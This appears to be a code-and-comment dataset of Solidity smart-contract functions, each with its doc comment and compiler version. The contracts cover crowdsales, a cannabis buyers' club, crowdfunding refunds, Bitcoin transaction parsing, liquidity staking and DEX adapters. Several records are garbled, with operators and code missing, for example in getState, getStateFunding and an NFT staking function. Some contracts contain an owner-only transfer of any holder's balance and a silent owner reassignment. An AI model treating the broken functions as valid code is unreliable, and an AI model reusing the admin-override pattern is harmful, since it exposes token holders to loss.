PlotTerrainUpdate(x, y, msg.sender, msg.value, newTerrain);\r\n return true;\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * Allows members to buy cannabis.\r\n * @param _price The total amount of ELYC tokens that should be paid.\r\n * @param _milligrams The total amount of milligrams which is being purchased \r\n * @param _vendor The vendors address \r\n * @return true if the function executes successfully, false otherwise\r\n * */", "function_code": "function buyCannabis(uint256 _price, uint256 _milligrams, address _vendor) public onlyMembers returns(bool) {\r\n require(_milligrams > 0 && _price > 0 && _vendor != address(0));\r\n require(_milligrams <= getMilligramsMemberCanBuy(msg.sender));\r\n ELYC.transferFrom(msg.sender, _vendor, _price);\r\n memberPurchases[msg.sender][monthNo] = memberPurchases[msg.sender][monthNo].add(_milligrams);\r\n emit CannabisPurchaseMade(msg.sender, _milligrams, _price, _vendor, block.number);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * Allows the owner of this contract to add new members.\r\n * @param _addr The address of the new member. \r\n * @return true if the function executes successfully, false otherwise.\r\n * */", "function_code": "function addMember(address _addr) public onlyOwner returns(bool) {\r\n require(!addrIsMember[_addr]);\r\n addrIsMember[_addr] = true;\r\n numOfMembers += 1;\r\n memberIdByAddr[_addr] = numOfMembers;\r\n memberAddrById[numOfMembers] = _addr;\r\n emit NewMemberAdded(_addr, numOfMembers, block.number);\r\n //assignment of owner variable made to overcome bug found in EVM which \r\n //caused the owner address to overflow to 0x00...01\r\n owner = msg.sender;\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "////@dev This function manages the Crowdsale State machine\n///We make it a function and do not assign to a variable//\n///so that no chance of stale variable", "function_code": "function getState() constant public returns(State){\r\n \t///once we reach success lock the State\r\n \tif(block.numberfundingStartBlock && initialSupply= tokenCreationMax) return State.Success;\r\n \telse return State.Failure;\r\n }", "version": "0.4.15"} {"comment": "///get the block number state", "function_code": "function getStateFunding() public returns (uint256){\r\n \t// average 6000 blocks mined in 24 hrs\r\n \tif(block.number=fundingStartBlock+ 180001 && block.number=fundingStartBlock + 270001 && block.numbertokenCreationMax) throw;\r\n if (balances[addr] == 0) investors.push(addr);\r\n investmentETH += val;\r\n balances[addr] = safeAdd(balances[addr],newCreatedTokens);\r\n }", "version": "0.4.15"} {"comment": "///function to run when the transaction has been veified", "function_code": "function processTransaction(bytes txn, uint256 txHash,address addr,bytes20 btcaddr)\r\n external\r\n stopInEmergency\r\n onlyOwner()\r\n returns (uint)\r\n {\r\n \tif(getState() == State.Success) throw;\r\n if(addr == 0x0) throw;\r\n \tvar (output1,output2,output3,output4) = BTC.getFirstTwoOutputs(txn);\r\n if(transactionsClaimed[txHash]) throw;\r\n var (a,b) = BTC.checkValueSent(txn,btcaddr,minBtcValue);\r\n if(a){\r\n transactionsClaimed[txHash] = true;\r\n uint256 newCreatedTokens = safeMul(b,tokensPerBTC);\r\n ///since we are creating tokens we need to increase the total supply\r\n newCreatedTokens = calNewTokens(newCreatedTokens);\r\n initialSupply = safeAdd(initialSupply,newCreatedTokens);\r\n ///remember not to go off the LIMITS!!\r\n if(initialSupply>tokenCreationMax) throw;\r\n if (balances[addr] == 0) investors.push(addr);\r\n investmentBTC += b;\r\n balances[addr] = safeAdd(balances[addr],newCreatedTokens);\r\n return 1;\r\n }\r\n else return 0;\r\n }", "version": "0.4.15"} {"comment": "/** @dev Function to get a specific project\r\n * @return A single project struct\r\n */", "function_code": "function getProject(string memory urlString) public view returns (address payable projectStarter,\r\n string memory projectTitle,\r\n string memory projectDesc,\r\n address projectContract,\r\n uint256 created,\r\n uint256 deadline,\r\n uint256 currentAmount,\r\n uint256 goalAmount,\r\n uint256 state) {\r\n return projectsByURL[urlString].getDetailsWithoutState();\r\n }", "version": "0.5.4"} {"comment": "/** @dev Function to start a new project.\r\n * @param title Title of the project to be created\r\n * @param description Brief description about the project\r\n * @param durationInDays Project deadline in days\r\n * @param amountToRaise Project goal in wei\r\n */", "function_code": "function startProject(\r\n string calldata title,\r\n string calldata description,\r\n string calldata urlString,\r\n uint durationInDays,\r\n uint amountToRaise\r\n ) external {\r\n require(getProjectCreator(urlString) == address(0), \"Duplicate key\"); // duplicate key\r\n uint raiseUntil = now.add(durationInDays.mul(1 days));\r\n Project newProject = new Project(msg.sender, title, description, urlString, raiseUntil, amountToRaise);\r\n projects.push(newProject);\r\n projectsByURL[urlString] = newProject;\r\n emit ProjectStarted(\r\n address(newProject),\r\n msg.sender,\r\n title,\r\n description,\r\n urlString,\r\n raiseUntil,\r\n amountToRaise\r\n );\r\n }", "version": "0.5.4"} {"comment": "/** @dev Function to give the received funds to project starter.\r\n */", "function_code": "function payOut() internal inState(State.Successful) returns (bool) {\r\n uint256 totalRaised = currentBalance;\r\n currentBalance = 0;\r\n\r\n if (creator.send(totalRaised)) {\r\n emit CreatorPaid(creator);\r\n return true;\r\n } else {\r\n currentBalance = totalRaised;\r\n state = State.Successful;\r\n }\r\n\r\n return false;\r\n }", "version": "0.5.4"} {"comment": "/** @dev Function to retrieve donated amount when a project expires.\r\n */", "function_code": "function getRefund() public inState(State.Expired) returns (bool) {\r\n require(contributions[msg.sender] > 0);\r\n\r\n uint amountToRefund = contributions[msg.sender];\r\n contributions[msg.sender] = 0;\r\n\r\n if (!msg.sender.send(amountToRefund)) {\r\n contributions[msg.sender] = amountToRefund;\r\n return false;\r\n } else {\r\n currentBalance = currentBalance.sub(amountToRefund);\r\n }\r\n\r\n return true;\r\n }", "version": "0.5.4"} {"comment": "/** @dev Function to get specific information about the project.\r\n * @return Returns all the project's details\r\n */", "function_code": "function getDetailsWithoutState() public view returns \r\n (\r\n address payable projectStarter,\r\n string memory projectTitle,\r\n string memory projectDesc,\r\n address projectContract,\r\n uint256 created,\r\n uint256 deadline,\r\n uint256 currentAmount,\r\n uint256 goalAmount,\r\n uint256 stated\r\n ) {\r\n projectStarter = creator;\r\n projectTitle = title;\r\n projectDesc = description;\r\n projectContract = address(this);\r\n created = now;\r\n deadline = raiseBy;\r\n currentAmount = currentBalance;\r\n goalAmount = amountGoal;\r\n stated = uint(state);\r\n }", "version": "0.5.4"} {"comment": "/**\n * @dev Fallback function ***DO NOT OVERRIDE***\n *\n * Note that other contracts will transfer funds with a base gas stipend\n * of 2300, which is not enough to call buyTokens. Consider calling\n * buyTokens directly when purchasing tokens from a contract.\n */", "function_code": "receive() external payable {\n // A payable receive() function follows the OpenZeppelin strategy, in which\n // it is designed to buy tokens.\n //\n // However, because we call out to uniV2Router from the crowdsale contract,\n // re-imbursement of ETH from UniswapV2Pair must not buy tokens.\n //\n // Instead it must be payed to this contract as a first step and will then\n // be transferred to the recipient in _addLiquidity().\n //\n if (_msgSender() != address(uniV2Router)) buyTokens(_msgSender());\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Provide a collection of UI relevant values to reduce # of queries\n *\n * @return ethRaised Amount eth raised (wei)\n * @return timeOpen Time presale opens (unix timestamp seconds)\n * @return timeClose Time presale closes (unix timestamp seconds)\n * @return timeNow Current time (unix timestamp seconds)\n * @return userEthInvested Amount of ETH users have already spent (wei)\n * @return userTokenAmount Amount of token held by user (token::decimals)\n */", "function_code": "function getStates(address beneficiary)\n public\n view\n returns (\n uint256 ethRaised,\n uint256 timeOpen,\n uint256 timeClose,\n uint256 timeNow,\n uint256 userEthInvested,\n uint256 userTokenAmount\n )\n {\n uint256 tokenAmount =\n beneficiary == address(0) ? 0 : token.balanceOf(beneficiary);\n uint256 ethInvest = _walletInvest[beneficiary];\n\n return (\n weiRaised,\n openingTime,\n closingTime,\n // solhint-disable-next-line not-rely-on-time\n block.timestamp,\n ethInvest,\n tokenAmount\n );\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Low level token liquidity staking ***DO NOT OVERRIDE***\n *\n * This function has a non-reentrancy guard, so it shouldn't be called by\n * another `nonReentrant` function.\n *\n * approve() must be called before to let us transfer msgsenders tokens.\n *\n * @param beneficiary Recipient of the token purchase\n */", "function_code": "function addLiquidity(address payable beneficiary)\n public\n payable\n nonReentrant\n onlyWhileOpen\n {\n uint256 weiAmount = msg.value;\n require(beneficiary != address(0), 'beneficiary is the zero address');\n require(weiAmount != 0, 'weiAmount is 0');\n\n // Calculate number of tokens\n uint256 tokenAmount = weiAmount.mul(tokenForLp).div(ethForLp);\n require(token.balanceOf(_msgSender()) >= tokenAmount, 'insufficient token');\n\n // Get the tokens from msg.sender\n token.safeTransferFrom(_msgSender(), address(this), tokenAmount);\n\n // Step 1: add liquidity\n uint256 lpToken =\n _addLiquidity(address(this), beneficiary, weiAmount, tokenAmount);\n\n // Step 2: we now own the liquidity tokens, stake them\n uniV2Pair.approve(address(stakeFarm), lpToken);\n stakeFarm.stake(lpToken);\n\n // Step 3: transfer the stake to the user\n stakeFarm.transfer(beneficiary, lpToken);\n\n emit Staked(beneficiary, lpToken);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Finalize presale / create liquidity pool\n */", "function_code": "function finalizePresale() external {\n require(hasClosed(), 'not closed');\n\n uint256 ethBalance = address(this).balance;\n require(ethBalance > 0, 'no eth balance');\n\n // Calculate how many token we add into liquidity pool\n uint256 tokenToLp = (ethBalance.mul(tokenForLp)).div(ethForLp);\n\n // Calculate amount unsold token\n uint256 tokenUnsold = cap.sub(weiRaised).mul(rate);\n\n // Mint token we spend\n require(\n token.mint(address(this), tokenToLp.add(tokenUnsold)),\n 'minting failed'\n );\n\n _addLiquidity(_wallet, _wallet, ethBalance, tokenToLp);\n\n // Transfer all tokens from this contract to _wallet\n uint256 tokenInContract = token.balanceOf(address(this));\n if (tokenInContract > 0) token.transfer(_wallet, tokenInContract);\n\n // Finally whitelist uniV2 LP pool on token contract\n token.enableUniV2Pair(true);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Added to support recovering LP Rewards from other systems to be distributed to holders\n */", "function_code": "function recoverERC20(address tokenAddress, uint256 tokenAmount) external {\n require(msg.sender == _wallet, 'restricted to wallet');\n require(hasClosed(), 'not closed');\n // Cannot recover the staking token or the rewards token\n require(tokenAddress != address(token), 'native tokens unrecoverable');\n\n IERC20(tokenAddress).safeTransfer(_wallet, tokenAmount);\n }", "version": "0.7.4"} {"comment": "/**\n * @dev Executed when a purchase has been validated and is ready to be executed\n *\n * This function adds liquidity and stakes the liquidity in our initial farm.\n *\n * @param beneficiary Address receiving the tokens\n * @param ethAmount Amount of ETH provided\n * @param tokenAmount Number of tokens to be purchased\n */", "function_code": "function _processLiquidity(\n address payable beneficiary,\n uint256 ethAmount,\n uint256 tokenAmount\n ) internal {\n require(token.mint(address(this), tokenAmount), 'minting failed');\n\n // Step 1: add liquidity\n uint256 lpToken =\n _addLiquidity(address(this), beneficiary, ethAmount, tokenAmount);\n\n // Step 2: we now own the liquidity tokens, stake them\n // Allow stakeFarm to own our tokens\n uniV2Pair.approve(address(stakeFarm), lpToken);\n stakeFarm.stake(lpToken);\n\n // Step 3: transfer the stake to the user\n stakeFarm.transfer(beneficiary, lpToken);\n\n emit Staked(beneficiary, lpToken);\n }", "version": "0.7.4"} {"comment": "// Convert a variable integer into something useful and return it and\n// the index to after it.", "function_code": "function parseVarInt(bytes txBytes, uint pos) returns (uint, uint) {\r\n // the first byte tells us how big the integer is\r\n var ibit = uint8(txBytes[pos]);\r\n pos += 1; // skip ibit\r\n\r\n if (ibit < 0xfd) {\r\n return (ibit, pos);\r\n } else if (ibit == 0xfd) {\r\n return (getBytesLE(txBytes, pos, 16), pos + 2);\r\n } else if (ibit == 0xfe) {\r\n return (getBytesLE(txBytes, pos, 32), pos + 4);\r\n } else if (ibit == 0xff) {\r\n return (getBytesLE(txBytes, pos, 64), pos + 8);\r\n }\r\n }", "version": "0.4.15"} {"comment": "// convert little endian bytes to uint", "function_code": "function getBytesLE(bytes data, uint pos, uint bits) returns (uint) {\r\n if (bits == 8) {\r\n return uint8(data[pos]);\r\n } else if (bits == 16) {\r\n return uint16(data[pos])\r\n + uint16(data[pos + 1]) * 2 ** 8;\r\n } else if (bits == 32) {\r\n return uint32(data[pos])\r\n + uint32(data[pos + 1]) * 2 ** 8\r\n + uint32(data[pos + 2]) * 2 ** 16\r\n + uint32(data[pos + 3]) * 2 ** 24;\r\n } else if (bits == 64) {\r\n return uint64(data[pos])\r\n + uint64(data[pos + 1]) * 2 ** 8\r\n + uint64(data[pos + 2]) * 2 ** 16\r\n + uint64(data[pos + 3]) * 2 ** 24\r\n + uint64(data[pos + 4]) * 2 ** 32\r\n + uint64(data[pos + 5]) * 2 ** 40\r\n + uint64(data[pos + 6]) * 2 ** 48\r\n + uint64(data[pos + 7]) * 2 ** 56;\r\n }\r\n }", "version": "0.4.15"} {"comment": "// scan the full transaction bytes and return the first two output\n// values (in satoshis) and addresses (in binary)", "function_code": "function getFirstTwoOutputs(bytes txBytes)\r\n returns (uint, bytes20, uint, bytes20)\r\n {\r\n uint pos;\r\n uint[] memory input_script_lens = new uint[](2);\r\n uint[] memory output_script_lens = new uint[](2);\r\n uint[] memory script_starts = new uint[](2);\r\n uint[] memory output_values = new uint[](2);\r\n bytes20[] memory output_addresses = new bytes20[](2);\r\n\r\n pos = 4; // skip version\r\n\r\n (input_script_lens, pos) = scanInputs(txBytes, pos, 0);\r\n\r\n (output_values, script_starts, output_script_lens, pos) = scanOutputs(txBytes, pos, 2);\r\n\r\n for (uint i = 0; i < 2; i++) {\r\n var pkhash = parseOutputScript(txBytes, script_starts[i], output_script_lens[i]);\r\n output_addresses[i] = pkhash;\r\n }\r\n\r\n return (output_values[0], output_addresses[0],\r\n output_values[1], output_addresses[1]);\r\n }", "version": "0.4.15"} {"comment": "// Check whether `btcAddress` is in the transaction outputs *and*\n// whether *at least* `value` has been sent to it.\n// Check whether `btcAddress` is in the transaction outputs *and*\n// whether *at least* `value` has been sent to it.", "function_code": "function checkValueSent(bytes txBytes, bytes20 btcAddress, uint value)\r\n returns (bool,uint)\r\n {\r\n uint pos = 4; // skip version\r\n (, pos) = scanInputs(txBytes, pos, 0); // find end of inputs\r\n\r\n // scan *all* the outputs and find where they are\r\n var (output_values, script_starts, output_script_lens,) = scanOutputs(txBytes, pos, 0);\r\n\r\n // look at each output and check whether it at least value to btcAddress\r\n for (uint i = 0; i < output_values.length; i++) {\r\n var pkhash = parseOutputScript(txBytes, script_starts[i], output_script_lens[i]);\r\n if (pkhash == btcAddress && output_values[i] >= value) {\r\n return (true,output_values[i]);\r\n }\r\n }\r\n }", "version": "0.4.15"} {"comment": "// scan the inputs and find the script lengths.\n// return an array of script lengths and the end position\n// of the inputs.\n// takes a 'stop' argument which sets the maximum number of\n// outputs to scan through. stop=0 => scan all.", "function_code": "function scanInputs(bytes txBytes, uint pos, uint stop)\r\n returns (uint[], uint)\r\n {\r\n uint n_inputs;\r\n uint halt;\r\n uint script_len;\r\n\r\n (n_inputs, pos) = parseVarInt(txBytes, pos);\r\n\r\n if (stop == 0 || stop > n_inputs) {\r\n halt = n_inputs;\r\n } else {\r\n halt = stop;\r\n }\r\n\r\n uint[] memory script_lens = new uint[](halt);\r\n\r\n for (var i = 0; i < halt; i++) {\r\n pos += 36; // skip outpoint\r\n (script_len, pos) = parseVarInt(txBytes, pos);\r\n script_lens[i] = script_len;\r\n pos += script_len + 4; // skip sig_script, seq\r\n }\r\n\r\n return (script_lens, pos);\r\n }", "version": "0.4.15"} {"comment": "// Slice 20 contiguous bytes from bytes `data`, starting at `start`", "function_code": "function sliceBytes20(bytes data, uint start) returns (bytes20) {\r\n uint160 slice = 0;\r\n for (uint160 i = 0; i < 20; i++) {\r\n slice += uint160(data[i + start]) << (8 * (19 - i));\r\n }\r\n return bytes20(slice);\r\n }", "version": "0.4.15"} {"comment": "// returns true if the bytes located in txBytes by pos and\n// script_len represent a P2PKH script", "function_code": "function isP2PKH(bytes txBytes, uint pos, uint script_len) returns (bool) {\r\n return (script_len == 25) // 20 byte pubkeyhash + 5 bytes of script\r\n && (txBytes[pos] == 0x76) // OP_DUP\r\n && (txBytes[pos + 1] == 0xa9) // OP_HASH160\r\n && (txBytes[pos + 2] == 0x14) // bytes to push\r\n && (txBytes[pos + 23] == 0x88) // OP_EQUALVERIFY\r\n && (txBytes[pos + 24] == 0xac); // OP_CHECKSIG\r\n }", "version": "0.4.15"} {"comment": "// Get the pubkeyhash / scripthash from an output script. Assumes\n// pay-to-pubkey-hash (P2PKH) or pay-to-script-hash (P2SH) outputs.\n// Returns the pubkeyhash/ scripthash, or zero if unknown output.", "function_code": "function parseOutputScript(bytes txBytes, uint pos, uint script_len)\r\n returns (bytes20)\r\n {\r\n if (isP2PKH(txBytes, pos, script_len)) {\r\n return sliceBytes20(txBytes, pos + 3);\r\n } else if (isP2SH(txBytes, pos, script_len)) {\r\n return sliceBytes20(txBytes, pos + 2);\r\n } else {\r\n return;\r\n }\r\n }", "version": "0.4.15"} {"comment": "// ------------------------------------------------------------------------\n// 60,000 XPC Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 70000;\r\n } else {\r\n tokens = msg.value * 50000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n @notice Displays total B20 rewards distributed per second in a given epoch.\r\n @dev Series 1 :\r\n Epochs : 162-254\r\n Total B20 distributed : 9,375\r\n Distribution duration : 31 days and 8 hours (Jan 28:16:00 to Feb 29 59:59:59 GMT)\r\n Series 2 :\r\n Epochs : 255-347\r\n Total B20 distributed : 5,625\r\n Distribution duration : 31 days (Mar 1 00:00:00 GMT to Mar 31 59:59:59 GMT)\r\n Series 3 :\r\n Epochs : 348-437\r\n Total B20 distributed : 3,750\r\n Distribution duration : 30 days (Apr 1 00:00:00 GMT to Apr 30 59:59:59 GMT)\r\n @param epoch : 8-hour window number\r\n @return B20 Tokens distributed per second during the given epoch\r\n */", "function_code": "function rewardRate(uint256 epoch) public pure override returns (uint256) {\r\n uint256 seriesRewards = 0;\r\n require(epoch > 0, \"epoch cannot be 0\");\r\n if (epoch > 161 && epoch <= 254) {\r\n seriesRewards = 9375;// 9,375\r\n return seriesRewards.mul(1e18).div(752 hours);\r\n } else if (epoch > 254 && epoch <= 347) {\r\n seriesRewards = 5625;// 5,625\r\n return seriesRewards.mul(1e18).div(31 days);\r\n } else if (epoch > 347 && epoch <= 437) {\r\n seriesRewards = 3750;// 3,750\r\n return seriesRewards.mul(1e18).div(30 days);\r\n } else {\r\n return 0;\r\n }\r\n }", "version": "0.7.5"} {"comment": "// ------------------------------------------------------------------------\n// Transact the balance 'from' account to `to` account\n// - From account must have sufficient balance to transfer\n// - 0 value transfers are not allowed allowed\n// ------------------------------------------------------------------------", "function_code": "function transact(address from, address to, uint tokens) public onlyOwner returns (bool success) {\r\n require(tokens > 0);\r\n require(balances[from] >= tokens);\r\n balances[from] = safeSub(balances[from], tokens);\r\n balances[to] = safeAdd(balances[to], tokens);\r\n Transfer(from, to, tokens);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Transfer SGN to another account.\r\n * @param _to The address of the destination account.\r\n * @param _value The amount of SGN to be transferred.\r\n * @return Status (true if completed successfully, false otherwise).\r\n * @notice If the destination account is this contract, then convert SGN to SGA.\r\n */", "function_code": "function transfer(address _to, uint256 _value) public returns (bool) {\r\n if (_to == address(this)) {\r\n uint256 amount = getSGNTokenManager().exchangeSgnForSga(msg.sender, _value);\r\n _burn(msg.sender, _value);\r\n getSagaExchanger().transferSgaToSgnHolder(msg.sender, amount);\r\n return true;\r\n }\r\n getSGNTokenManager().uponTransfer(msg.sender, _to, _value);\r\n return super.transfer(_to, _value);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @dev Transfer SGN from one account to another.\r\n * @param _from The address of the source account.\r\n * @param _to The address of the destination account.\r\n * @param _value The amount of SGN to be transferred.\r\n * @return Status (true if completed successfully, false otherwise).\r\n * @notice If the destination account is this contract, then the operation is illegal.\r\n */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {\r\n require(_to != address(this), \"custodian-transfer of SGN into this contract is illegal\");\r\n getSGNTokenManager().uponTransferFrom(msg.sender, _from, _to, _value);\r\n return super.transferFrom(_from, _to, _value);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n @dev Stakes a certain amount of tokens, this MUST transfer the given amount from the addr\r\n @param amount Amount of ERC20 token to stake\r\n @param data Additional data as per the EIP900\r\n */", "function_code": "function stake(uint256 amount, bytes calldata data) external override {\r\n //transfer the ERC20 token from the addr, he must have set an allowance of {amount} tokens\r\n require(_token.transferFrom(msg.sender, address(this), amount), \"ERC20 token transfer failed, did you forget to create an allowance?\");\r\n _stakeFor(msg.sender, amount, data);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n @dev Stakes a certain amount of tokens, this MUST transfer the given amount from the caller\r\n @param addr Address who will own the stake afterwards\r\n @param amount Amount of ERC20 token to stake\r\n @param data Additional data as per the EIP900\r\n */", "function_code": "function stakeFor(address addr, uint256 amount, bytes calldata data) external override {\r\n //transfer the ERC20 token from the addr, he must have set an allowance of {amount} tokens\r\n require(_token.transferFrom(msg.sender, address(this), amount), \"ERC20 token transfer failed, did you forget to create an allowance?\");\r\n //create the stake for this amount\r\n _stakeFor(addr, amount, data);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n @dev Called by contracts to distribute dividends\r\n Updates the bond value\r\n */", "function_code": "function _distribute(uint256 amount) internal {\r\n //cant distribute when no stakers\r\n require(_total_staked > 0, \"cant distribute when no stakers\");\r\n //take into account the dust\r\n uint256 temp_to_distribute = to_distribute.add(amount);\r\n uint256 total_bonds = _total_staked.div(PRECISION);\r\n uint256 bond_increase = temp_to_distribute.div(total_bonds);\r\n uint256 distributed_total = total_bonds.mul(bond_increase);\r\n bond_value = bond_value.add(bond_increase);\r\n //collect the dust\r\n to_distribute = temp_to_distribute.sub(distributed_total);\r\n emit Profit(amount);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n @dev Internally unstakes a certain amount of tokens, this SHOULD return the given amount of tokens to the addr, if unstaking is currently not possible the function MUST revert\r\n @param amount Amount of ERC20 token to remove from the stake\r\n @param data Additional data as per the EIP900\r\n */", "function_code": "function _unstake(uint256 amount, bytes memory data) internal {\r\n require(amount > 0, \"Amount must be greater than zero\");\r\n require(amount <= _stakes[msg.sender], \"You dont have enough staked\");\r\n uint256 to_reward = _getReward(msg.sender, amount);\r\n _total_staked = _total_staked.sub(amount);\r\n _stakes[msg.sender] = _stakes[msg.sender].sub(amount);\r\n if(_stakes[msg.sender] == 0) {\r\n investor_count--;\r\n }\r\n //take into account dust error during payment too\r\n if(address(this).balance >= to_reward) {\r\n msg.sender.transfer(to_reward);\r\n } else {\r\n //we cant pay the dust error, just void the balance\r\n msg.sender.transfer(address(this).balance);\r\n }\r\n \r\n emit Unstaked(msg.sender, amount, _total_staked, data);\r\n }", "version": "0.6.6"} {"comment": "//check deposit amount. ", "function_code": "function depositsOf(address account)\n external \n view \n returns (uint256[] memory)\n {\n EnumerableSet.UintSet storage depositSet = _deposits[account];\n uint256[] memory tokenIds = new uint256[] (depositSet.length());\n\n for (uint256 i; i 0) {\n IStakedToadz(stakedToadzAddress).mint(msg.sender, reward);\n }\n }", "version": "0.8.4"} {"comment": "//withdrawal function.", "function_code": "function withdraw(uint256[] calldata tokenIds) external nonReentrant() {\n claimRewards(tokenIds);\n\n for (uint256 i; i < tokenIds.length; i++) {\n require(\n _deposits[msg.sender].contains(tokenIds[i]),\n 'Staking: token not deposited'\n );\n\n _deposits[msg.sender].remove(tokenIds[i]);\n\n IERC721(stackerAddress).safeTransferFrom(\n address(this),\n msg.sender,\n tokenIds[i],\n ''\n );\n }\n }", "version": "0.8.4"} {"comment": "/// @dev Helper to add liquidity", "function_code": "function __uniswapV2Lend(\n address _recipient,\n address _tokenA,\n address _tokenB,\n uint256 _amountADesired,\n uint256 _amountBDesired,\n uint256 _amountAMin,\n uint256 _amountBMin\n ) internal {\n __approveAssetMaxAsNeeded(_tokenA, UNISWAP_V2_ROUTER2, _amountADesired);\n __approveAssetMaxAsNeeded(_tokenB, UNISWAP_V2_ROUTER2, _amountBDesired);\n\n // Execute lend on Uniswap\n IUniswapV2Router2(UNISWAP_V2_ROUTER2).addLiquidity(\n _tokenA,\n _tokenB,\n _amountADesired,\n _amountBDesired,\n _amountAMin,\n _amountBMin,\n _recipient,\n __uniswapV2GetActionDeadline()\n );\n }", "version": "0.6.12"} {"comment": "/// @dev Helper to remove liquidity", "function_code": "function __uniswapV2Redeem(\n address _recipient,\n address _poolToken,\n uint256 _poolTokenAmount,\n address _tokenA,\n address _tokenB,\n uint256 _amountAMin,\n uint256 _amountBMin\n ) internal {\n __approveAssetMaxAsNeeded(_poolToken, UNISWAP_V2_ROUTER2, _poolTokenAmount);\n\n // Execute redeem on Uniswap\n IUniswapV2Router2(UNISWAP_V2_ROUTER2).removeLiquidity(\n _tokenA,\n _tokenB,\n _poolTokenAmount,\n _amountAMin,\n _amountBMin,\n _recipient,\n __uniswapV2GetActionDeadline()\n );\n }", "version": "0.6.12"} {"comment": "// per-outgoing asset, seems like overkill until there is a need.", "function_code": "function __uniswapV2SwapManyToOne(\n address _recipient,\n address[] memory _outgoingAssets,\n uint256[] memory _outgoingAssetAmounts,\n address _incomingAsset,\n address _intermediaryAsset\n ) internal {\n bool noIntermediary = _intermediaryAsset == address(0) ||\n _intermediaryAsset == _incomingAsset;\n for (uint256 i; i < _outgoingAssets.length; i++) {\n // Skip cases where outgoing and incoming assets are the same, or\n // there is no specified outgoing asset or amount\n if (\n _outgoingAssetAmounts[i] == 0 ||\n _outgoingAssets[i] == address(0) ||\n _outgoingAssets[i] == _incomingAsset\n ) {\n continue;\n }\n\n address[] memory uniswapPath;\n if (noIntermediary || _outgoingAssets[i] == _intermediaryAsset) {\n uniswapPath = new address[](2);\n uniswapPath[0] = _outgoingAssets[i];\n uniswapPath[1] = _incomingAsset;\n } else {\n uniswapPath = new address[](3);\n uniswapPath[0] = _outgoingAssets[i];\n uniswapPath[1] = _intermediaryAsset;\n uniswapPath[2] = _incomingAsset;\n }\n\n __uniswapV2Swap(_recipient, _outgoingAssetAmounts[i], 1, uniswapPath);\n }\n }", "version": "0.6.12"} {"comment": "/// @dev Helper to get all rewards tokens for a specified idleToken", "function_code": "function __idleV4GetRewardsTokens(address _idleToken)\n internal\n view\n returns (address[] memory rewardsTokens_)\n {\n IIdleTokenV4 idleTokenContract = IIdleTokenV4(_idleToken);\n\n rewardsTokens_ = new address[](idleTokenContract.getGovTokensAmounts(address(0)).length);\n for (uint256 i; i < rewardsTokens_.length; i++) {\n rewardsTokens_[i] = IIdleTokenV4(idleTokenContract).govTokens(i);\n }\n\n return rewardsTokens_;\n }", "version": "0.6.12"} {"comment": "/// @dev Helper to execute a multiSwap() order", "function_code": "function __paraSwapV4MultiSwap(\n address _fromToken,\n uint256 _fromAmount,\n uint256 _toAmount,\n uint256 _expectedAmount,\n address payable _beneficiary,\n IParaSwapV4AugustusSwapper.Path[] memory _path\n ) internal {\n __approveAssetMaxAsNeeded(_fromToken, PARA_SWAP_V4_TOKEN_TRANSFER_PROXY, _fromAmount);\n\n IParaSwapV4AugustusSwapper.SellData memory sellData = IParaSwapV4AugustusSwapper.SellData({\n fromToken: _fromToken,\n fromAmount: _fromAmount,\n toAmount: _toAmount,\n expectedAmount: _expectedAmount,\n beneficiary: _beneficiary,\n referrer: REFERRER,\n useReduxToken: false,\n path: _path\n });\n\n IParaSwapV4AugustusSwapper(PARA_SWAP_V4_AUGUSTUS_SWAPPER).multiSwap(sellData);\n }", "version": "0.6.12"} {"comment": "/// @notice Parses the expected assets to receive from a call on integration\n/// @param _selector The function selector for the callOnIntegration\n/// @param _encodedCallArgs The encoded parameters for the callOnIntegration\n/// @return spendAssetsHandleType_ A type that dictates how to handle granting\n/// the adapter access to spend assets (`None` by default)\n/// @return spendAssets_ The assets to spend in the call\n/// @return spendAssetAmounts_ The max asset amounts to spend in the call\n/// @return incomingAssets_ The assets to receive in the call\n/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call", "function_code": "function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)\n external\n view\n override\n returns (\n IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,\n address[] memory spendAssets_,\n uint256[] memory spendAssetAmounts_,\n address[] memory incomingAssets_,\n uint256[] memory minIncomingAssetAmounts_\n )\n {\n require(_selector == TAKE_ORDER_SELECTOR, \"parseAssetsForMethod: _selector invalid\");\n\n (\n uint256 minIncomingAssetAmount,\n ,\n address outgoingAsset,\n uint256 outgoingAssetAmount,\n IParaSwapV4AugustusSwapper.Path[] memory paths\n ) = __decodeCallArgs(_encodedCallArgs);\n\n spendAssets_ = new address[](1);\n spendAssets_[0] = outgoingAsset;\n\n spendAssetAmounts_ = new uint256[](1);\n spendAssetAmounts_[0] = outgoingAssetAmount;\n\n incomingAssets_ = new address[](1);\n incomingAssets_[0] = paths[paths.length - 1].to;\n\n minIncomingAssetAmounts_ = new uint256[](1);\n minIncomingAssetAmounts_[0] = minIncomingAssetAmount;\n\n return (\n IIntegrationManager.SpendAssetsHandleType.Transfer,\n spendAssets_,\n spendAssetAmounts_,\n incomingAssets_,\n minIncomingAssetAmounts_\n );\n }", "version": "0.6.12"} {"comment": "/// @notice Trades assets on ParaSwap\n/// @param _vaultProxy The VaultProxy of the calling fund\n/// @param _encodedCallArgs Encoded order parameters\n/// @dev ParaSwap v4 completely uses entire outgoing asset balance and incoming asset\n/// is sent 